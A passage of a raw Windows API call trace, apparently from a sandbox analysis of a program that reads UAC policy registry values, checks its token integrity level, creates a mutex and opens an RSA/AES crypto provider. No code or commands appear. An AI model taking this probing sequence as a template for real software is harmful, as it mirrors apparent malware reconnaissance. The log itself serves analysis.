RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9db9d0) returned 1 [0206.098] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc3f0) returned 1 [0206.098] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9db9e0) returned 1 [0206.098] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc480) returned 1 [0206.098] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9db998) returned 1 [0206.098] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc4c8) returned 1 [0206.098] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9db9a8) returned 1 [0206.098] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc510) returned 1 [0206.098] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9db9b8) returned 1 [0206.098] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc558) returned 1 [0206.098] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9db9f0) returned 1 [0206.098] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc438) returned 1 [0206.098] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc438 [0206.098] RegQueryValueExA (in: hKey=0x24, lpValueName="EnableLUA", lpReserved=0x0, lpType=0x3ef908, lpData=0x0, lpcbData=0x3ef910*=0x0 | out: lpType=0x3ef908*=0x4, lpData=0x0, lpcbData=0x3ef910*=0x4) returned 0x0 [0206.098] RegQueryValueExA (in: hKey=0x24, lpValueName="EnableLUA", lpReserved=0x0, lpType=0x3ef908, lpData=0x9dc438, lpcbData=0x3ef910*=0x4 | out: lpType=0x3ef908*=0x4, lpData=0x9dc438*=0x1, lpcbData=0x3ef910*=0x4) returned 0x0 [0206.098] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc438) returned 1 [0206.098] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc5a0) returned 1 [0206.098] RegEnumValueA (in: hKey=0x24, dwIndex=0x0, lpValueName=0x3ef7fc, lpcchValueName=0x3ef7f8, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorAdmin", lpcchValueName=0x3ef7f8, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0206.098] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x10) returned 0x9db860 [0206.098] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x8) returned 0x9db878 [0206.098] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc5a0 [0206.098] RegEnumValueA (in: hKey=0x24, dwIndex=0x1, lpValueName=0x3ef7fc, lpcchValueName=0x3ef7f8, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorUser", lpcchValueName=0x3ef7f8, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0206.098] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x8) returned 0x9db888 [0206.098] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc438 [0206.098] RegEnumValueA (in: hKey=0x24, dwIndex=0x2, lpValueName=0x3ef7fc, lpcchValueName=0x3ef7f8, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableInstallerDetection", lpcchValueName=0x3ef7f8, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0206.098] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x8) returned 0x9db898 [0206.098] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc558 [0206.098] RegEnumValueA (in: hKey=0x24, dwIndex=0x3, lpValueName=0x3ef7fc, lpcchValueName=0x3ef7f8, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableLUA", lpcchValueName=0x3ef7f8, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0206.098] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x8) returned 0x9db930 [0206.098] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc510 [0206.098] RegEnumValueA (in: hKey=0x24, dwIndex=0x4, lpValueName=0x3ef7fc, lpcchValueName=0x3ef7f8, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableSecureUIAPaths", lpcchValueName=0x3ef7f8, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0206.098] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x20) returned 0x9db940 [0206.099] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9db860) returned 1 [0206.099] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x8) returned 0x9db860 [0206.099] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc4c8 [0206.099] RegEnumValueA (in: hKey=0x24, dwIndex=0x5, lpValueName=0x3ef7fc, lpcchValueName=0x3ef7f8, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableUIADesktopToggle", lpcchValueName=0x3ef7f8, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0206.099] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x8) returned 0x9db968 [0206.099] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc480 [0206.099] RegEnumValueA (in: hKey=0x24, dwIndex=0x6, lpValueName=0x3ef7fc, lpcchValueName=0x3ef7f8, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableVirtualization", lpcchValueName=0x3ef7f8, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0206.099] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x8) returned 0x9db978 [0206.099] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc3f0 [0206.099] RegEnumValueA (in: hKey=0x24, dwIndex=0x7, lpValueName=0x3ef7fc, lpcchValueName=0x3ef7f8, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="PromptOnSecureDesktop", lpcchValueName=0x3ef7f8, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0206.099] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x8) returned 0x9db988 [0206.099] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc3a8 [0206.099] RegEnumValueA (in: hKey=0x24, dwIndex=0x8, lpValueName=0x3ef7fc, lpcchValueName=0x3ef7f8, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ValidateAdminCodeSignatures", lpcchValueName=0x3ef7f8, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0206.099] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x30) returned 0x9db998 [0206.099] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9db940) returned 1 [0206.099] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x8) returned 0x9db940 [0206.099] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc360 [0206.099] RegEnumValueA (in: hKey=0x24, dwIndex=0x9, lpValueName=0x3ef7fc, lpcchValueName=0x3ef7f8, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="dontdisplaylastusername", lpcchValueName=0x3ef7f8, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0206.099] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x8) returned 0x9db950 [0206.099] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc318 [0206.099] RegEnumValueA (in: hKey=0x24, dwIndex=0xa, lpValueName=0x3ef7fc, lpcchValueName=0x3ef7f8, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticecaption", lpcchValueName=0x3ef7f8, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0206.099] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x8) returned 0x9db9d0 [0206.099] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc2d0 [0206.099] RegEnumValueA (in: hKey=0x24, dwIndex=0xb, lpValueName=0x3ef7fc, lpcchValueName=0x3ef7f8, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticetext", lpcchValueName=0x3ef7f8, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0206.099] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x8) returned 0x9db9e0 [0206.099] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc288 [0206.099] RegEnumValueA (in: hKey=0x24, dwIndex=0xc, lpValueName=0x3ef7fc, lpcchValueName=0x3ef7f8, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="scforceoption", lpcchValueName=0x3ef7f8, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0206.099] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc240 [0206.099] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9db998) returned 1 [0206.099] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x8) returned 0x9db998 [0206.099] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc1f8 [0206.100] RegEnumValueA (in: hKey=0x24, dwIndex=0xd, lpValueName=0x3ef7fc, lpcchValueName=0x3ef7f8, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="shutdownwithoutlogon", lpcchValueName=0x3ef7f8, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0206.100] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x8) returned 0x9db9a8 [0206.100] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc1b0 [0206.100] RegEnumValueA (in: hKey=0x24, dwIndex=0xe, lpValueName=0x3ef7fc, lpcchValueName=0x3ef7f8, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="undockwithoutlogon", lpcchValueName=0x3ef7f8, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0206.100] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x8) returned 0x9dd1e8 [0206.100] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc168 [0206.100] RegEnumValueA (in: hKey=0x24, dwIndex=0xf, lpValueName=0x3ef7fc, lpcchValueName=0x3ef7f8, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x3ef7f8, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0206.100] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x8) returned 0x9dd1f8 [0206.100] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc120 [0206.100] RegEnumValueA (in: hKey=0x24, dwIndex=0x10, lpValueName=0x3ef7fc, lpcchValueName=0x3ef7f8, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x3ef7f8, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0206.100] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc0d8 [0206.100] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc0d8) returned 1 [0206.100] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc0d8 [0206.100] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc5a0) returned 1 [0206.100] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9db878) returned 1 [0206.100] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc438) returned 1 [0206.100] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9db888) returned 1 [0206.100] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc558) returned 1 [0206.100] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9db898) returned 1 [0206.100] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc510) returned 1 [0206.100] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9db930) returned 1 [0206.100] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc4c8) returned 1 [0206.100] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9db860) returned 1 [0206.100] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc480) returned 1 [0206.100] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9db968) returned 1 [0206.100] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc3f0) returned 1 [0206.100] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9db978) returned 1 [0206.100] RegQueryValueExA (in: hKey=0x24, lpValueName="ConsentPromptBehaviorAdmin", lpReserved=0x0, lpType=0x3ef908, lpData=0x0, lpcbData=0x3ef910*=0x0 | out: lpType=0x3ef908*=0x4, lpData=0x0, lpcbData=0x3ef910*=0x4) returned 0x0 [0206.100] RegQueryValueExA (in: hKey=0x24, lpValueName="ConsentPromptBehaviorAdmin", lpReserved=0x0, lpType=0x3ef908, lpData=0x9dc240, lpcbData=0x3ef910*=0x4 | out: lpType=0x3ef908*=0x4, lpData=0x9dc240*=0x5, lpcbData=0x3ef910*=0x4) returned 0x0 [0206.100] RegEnumValueA (in: hKey=0x24, dwIndex=0x0, lpValueName=0x3ef7fc, lpcchValueName=0x3ef7f8, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorAdmin", lpcchValueName=0x3ef7f8, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0206.100] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x10) returned 0x9dd5e8 [0206.101] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x8) returned 0x9dd1f8 [0206.101] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc0d8 [0206.101] RegEnumValueA (in: hKey=0x24, dwIndex=0x1, lpValueName=0x3ef7fc, lpcchValueName=0x3ef7f8, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorUser", lpcchValueName=0x3ef7f8, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0206.101] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x8) returned 0x9dd1e8 [0206.101] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc240 [0206.101] RegEnumValueA (in: hKey=0x24, dwIndex=0x2, lpValueName=0x3ef7fc, lpcchValueName=0x3ef7f8, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableInstallerDetection", lpcchValueName=0x3ef7f8, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0206.101] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x8) returned 0x9dd208 [0206.101] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc120 [0206.101] RegEnumValueA (in: hKey=0x24, dwIndex=0x3, lpValueName=0x3ef7fc, lpcchValueName=0x3ef7f8, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableLUA", lpcchValueName=0x3ef7f8, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0206.101] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x8) returned 0x9dd218 [0206.101] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc168 [0206.101] RegEnumValueA (in: hKey=0x24, dwIndex=0x4, lpValueName=0x3ef7fc, lpcchValueName=0x3ef7f8, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableSecureUIAPaths", lpcchValueName=0x3ef7f8, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0206.101] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x20) returned 0x9db860 [0206.101] RegEnumValueA (in: hKey=0x24, dwIndex=0x5, lpValueName=0x3ef7fc, lpcchValueName=0x3ef7f8, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableUIADesktopToggle", lpcchValueName=0x3ef7f8, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0206.101] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x8) returned 0x9dd238 [0206.101] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc1f8 [0206.101] RegEnumValueA (in: hKey=0x24, dwIndex=0x6, lpValueName=0x3ef7fc, lpcchValueName=0x3ef7f8, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableVirtualization", lpcchValueName=0x3ef7f8, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0206.101] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x8) returned 0x9dd248 [0206.101] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc288 [0206.101] RegEnumValueA (in: hKey=0x24, dwIndex=0x7, lpValueName=0x3ef7fc, lpcchValueName=0x3ef7f8, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="PromptOnSecureDesktop", lpcchValueName=0x3ef7f8, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0206.101] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x8) returned 0x9dd258 [0206.101] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc2d0 [0206.101] RegEnumValueA (in: hKey=0x24, dwIndex=0x8, lpValueName=0x3ef7fc, lpcchValueName=0x3ef7f8, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ValidateAdminCodeSignatures", lpcchValueName=0x3ef7f8, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0206.101] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x30) returned 0x9db930 [0206.101] RegEnumValueA (in: hKey=0x24, dwIndex=0x9, lpValueName=0x3ef7fc, lpcchValueName=0x3ef7f8, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="dontdisplaylastusername", lpcchValueName=0x3ef7f8, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0206.101] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x8) returned 0x9dd278 [0206.101] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc360 [0206.101] RegEnumValueA (in: hKey=0x24, dwIndex=0xa, lpValueName=0x3ef7fc, lpcchValueName=0x3ef7f8, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticecaption", lpcchValueName=0x3ef7f8, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0206.101] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x8) returned 0x9dd288 [0206.102] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc3a8 [0206.102] RegEnumValueA (in: hKey=0x24, dwIndex=0xb, lpValueName=0x3ef7fc, lpcchValueName=0x3ef7f8, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticetext", lpcchValueName=0x3ef7f8, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0206.102] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x8) returned 0x9dd298 [0206.102] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc3f0 [0206.102] RegEnumValueA (in: hKey=0x24, dwIndex=0xc, lpValueName=0x3ef7fc, lpcchValueName=0x3ef7f8, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="scforceoption", lpcchValueName=0x3ef7f8, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0206.102] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc480 [0206.102] RegEnumValueA (in: hKey=0x24, dwIndex=0xd, lpValueName=0x3ef7fc, lpcchValueName=0x3ef7f8, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="shutdownwithoutlogon", lpcchValueName=0x3ef7f8, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0206.102] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x8) returned 0x9dd2b8 [0206.102] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc510 [0206.102] RegEnumValueA (in: hKey=0x24, dwIndex=0xe, lpValueName=0x3ef7fc, lpcchValueName=0x3ef7f8, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="undockwithoutlogon", lpcchValueName=0x3ef7f8, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0206.102] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x8) returned 0x9dd2c8 [0206.102] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc558 [0206.102] RegEnumValueA (in: hKey=0x24, dwIndex=0xf, lpValueName=0x3ef7fc, lpcchValueName=0x3ef7f8, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x3ef7f8, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0206.102] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x8) returned 0x9dd2d8 [0206.102] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc438 [0206.102] RegEnumValueA (in: hKey=0x24, dwIndex=0x10, lpValueName=0x3ef7fc, lpcchValueName=0x3ef7f8, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x3ef7f8, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0206.102] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc5a0 [0206.102] RegQueryValueExA (in: hKey=0x24, lpValueName="PromptOnSecureDesktop", lpReserved=0x0, lpType=0x3ef908, lpData=0x0, lpcbData=0x3ef910*=0x0 | out: lpType=0x3ef908*=0x4, lpData=0x0, lpcbData=0x3ef910*=0x4) returned 0x0 [0206.102] RegQueryValueExA (in: hKey=0x24, lpValueName="PromptOnSecureDesktop", lpReserved=0x0, lpType=0x3ef908, lpData=0x9dc480, lpcbData=0x3ef910*=0x4 | out: lpType=0x3ef908*=0x4, lpData=0x9dc480*=0x1, lpcbData=0x3ef910*=0x4) returned 0x0 [0206.102] RegCloseKey (hKey=0x24) returned 0x0 [0206.102] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x3ef980 | out: TokenHandle=0x3ef980*=0x24) returned 1 [0206.102] GetTokenInformation (in: TokenHandle=0x24, TokenInformationClass=0x14, TokenInformation=0x3ef97c, TokenInformationLength=0x4, ReturnLength=0x3ef978 | out: TokenInformation=0x3ef97c, ReturnLength=0x3ef978) returned 1 [0206.102] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x3ef96c | out: TokenHandle=0x3ef96c*=0xa0) returned 1 [0206.102] GetTokenInformation (in: TokenHandle=0xa0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x3ef968 | out: TokenInformation=0x0, ReturnLength=0x3ef968) returned 0 [0206.102] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc5a0 [0206.103] GetTokenInformation (in: TokenHandle=0xa0, TokenInformationClass=0x19, TokenInformation=0x9dc5a0, TokenInformationLength=0x14, ReturnLength=0x3ef968 | out: TokenInformation=0x9dc5a0, ReturnLength=0x3ef968) returned 1 [0206.103] GetSidSubAuthorityCount (pSid=0x9dc5a8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000)) returned 0x9dc5a9 [0206.103] GetSidSubAuthority (pSid=0x9dc5a8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000), nSubAuthority=0x0) returned 0x9dc5b0 [0206.103] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc5a0) returned 1 [0206.103] NtClose (Handle=0xa0) returned 0x0 [0206.103] GetSystemInfo (in: lpSystemInfo=0x3efab4 | out: lpSystemInfo=0x3efab4*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0x1, dwNumberOfProcessors=0x1, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0206.103] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x6c) returned 0x9db860 [0206.103] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc5a0 [0206.103] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName=0x0) returned 0xa0 [0206.103] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc480 [0206.103] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc438 [0206.103] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc558 [0206.103] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc510 [0206.103] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x5000) returned 0x8b0048 [0206.104] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc4c8 [0206.104] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc4c8) returned 1 [0206.104] CryptAcquireContextW (in: phProv=0x3efac8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x3efac8*=0x7cdd58) returned 1 [0206.118] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x8b0048) returned 1 [0206.118] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9db8d8 [0206.118] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9db960 [0206.118] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc4c8 [0206.118] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9db9e8 [0206.118] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9dba70 [0206.119] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc3f0 [0206.119] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9dbaf8 [0206.119] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc3a8 [0206.119] 